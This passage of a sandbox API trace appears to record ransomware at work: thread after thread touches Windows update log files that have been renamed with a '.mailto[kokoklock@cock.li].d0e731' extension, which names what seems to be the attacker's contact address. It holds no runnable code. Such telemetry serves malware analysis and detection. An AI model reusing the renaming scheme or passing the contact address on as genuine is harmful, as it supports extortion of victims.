(Status=0x0) Thread: id = 2010 os_tid = 0x1050 [0171.588] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.588] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.589] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.011.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.589] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f520) returned 1 [0171.589] RtlExitUserThread (Status=0x0) Thread: id = 2011 os_tid = 0x1054 [0171.590] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.591] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.591] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.012.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.591] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f5e8) returned 1 [0171.591] RtlExitUserThread (Status=0x0) Thread: id = 2012 os_tid = 0x1058 [0171.592] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.592] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.592] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.013.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.592] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0171.593] RtlExitUserThread (Status=0x0) Thread: id = 2013 os_tid = 0x105c [0171.594] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.594] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.594] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.014.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.595] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.595] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b520) returned 1 [0171.595] RtlExitUserThread (Status=0x0) Thread: id = 2014 os_tid = 0x1060 [0171.596] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.596] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.596] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.597] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b5e8) returned 1 [0171.597] RtlExitUserThread (Status=0x0) Thread: id = 2015 os_tid = 0x1064 [0171.598] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.599] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.599] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.599] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.599] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aa30) returned 1 [0171.599] RtlExitUserThread (Status=0x0) Thread: id = 2016 os_tid = 0x1068 [0171.600] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.601] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.601] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.601] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.601] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0a8a0) returned 1 [0171.601] RtlExitUserThread (Status=0x0) Thread: id = 2017 os_tid = 0x106c [0171.602] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.603] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.603] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.001.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.603] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.603] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2450) returned 1 [0171.603] RtlExitUserThread (Status=0x0) Thread: id = 2018 os_tid = 0x1070 [0171.606] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.606] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.606] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.002.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.606] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.606] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2528) returned 1 [0171.606] RtlExitUserThread (Status=0x0) Thread: id = 2019 os_tid = 0x1074 [0171.607] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.608] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.608] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.608] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff26d8) returned 1 [0171.608] RtlExitUserThread (Status=0x0) Thread: id = 2020 os_tid = 0x1078 [0171.610] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.610] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.610] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.610] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2600) returned 1 [0171.610] RtlExitUserThread (Status=0x0) Thread: id = 2021 os_tid = 0x107c [0171.611] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.612] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.612] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.612] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0cb0) returned 1 [0171.612] RtlExitUserThread (Status=0x0) Thread: id = 2022 os_tid = 0x1080 [0171.616] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.616] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.616] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.617] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff20f0) returned 1 [0171.617] RtlExitUserThread (Status=0x0) Thread: id = 2023 os_tid = 0x1084 [0171.618] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.618] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.619] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.619] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.619] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1958) returned 1 [0171.619] RtlExitUserThread (Status=0x0) Thread: id = 2024 os_tid = 0x1088 [0171.623] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.623] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.623] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.623] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.623] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0b00) returned 1 [0171.623] RtlExitUserThread (Status=0x0) Thread: id = 2025 os_tid = 0x108c [0171.625] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.626] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.626] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.009.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.627] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.627] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff10e8) returned 1 [0171.627] RtlExitUserThread (Status=0x0) Thread: id = 2026 os_tid = 0x1090 [0171.628] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.628] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.628] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.010.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.628] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.010.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.628] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff11c0) returned 1 [0171.628] RtlExitUserThread (Status=0x0) Thread: id = 2027 os_tid = 0x1094 [0171.633] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.633] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.634] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.011.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.634] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.011.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.634] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1e68) returned 1 [0171.634] RtlExitUserThread (Status=0x0) Thread: id = 2028 os_tid = 0x1098 [0171.636] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.637] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.012.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.637] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.012.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.637] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0bd8) returned 1 [0171.637] RtlExitUserThread (Status=0x0) Thread: id = 2029 os_tid = 0x109c [0171.641] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.643] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.644] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2018) returned 1 [0171.644] RtlExitUserThread (Status=0x0) Thread: id = 2030 os_tid = 0x10a0 [0171.645] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.645] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.645] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0171.646] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0d88) returned 1 [0171.646] RtlExitUserThread (Status=0x0) Thread: id = 2031 os_tid = 0x10a4 [0171.647] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0171.648] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0171.648] CreateFileW (lpFileName="C:\\Users\\All 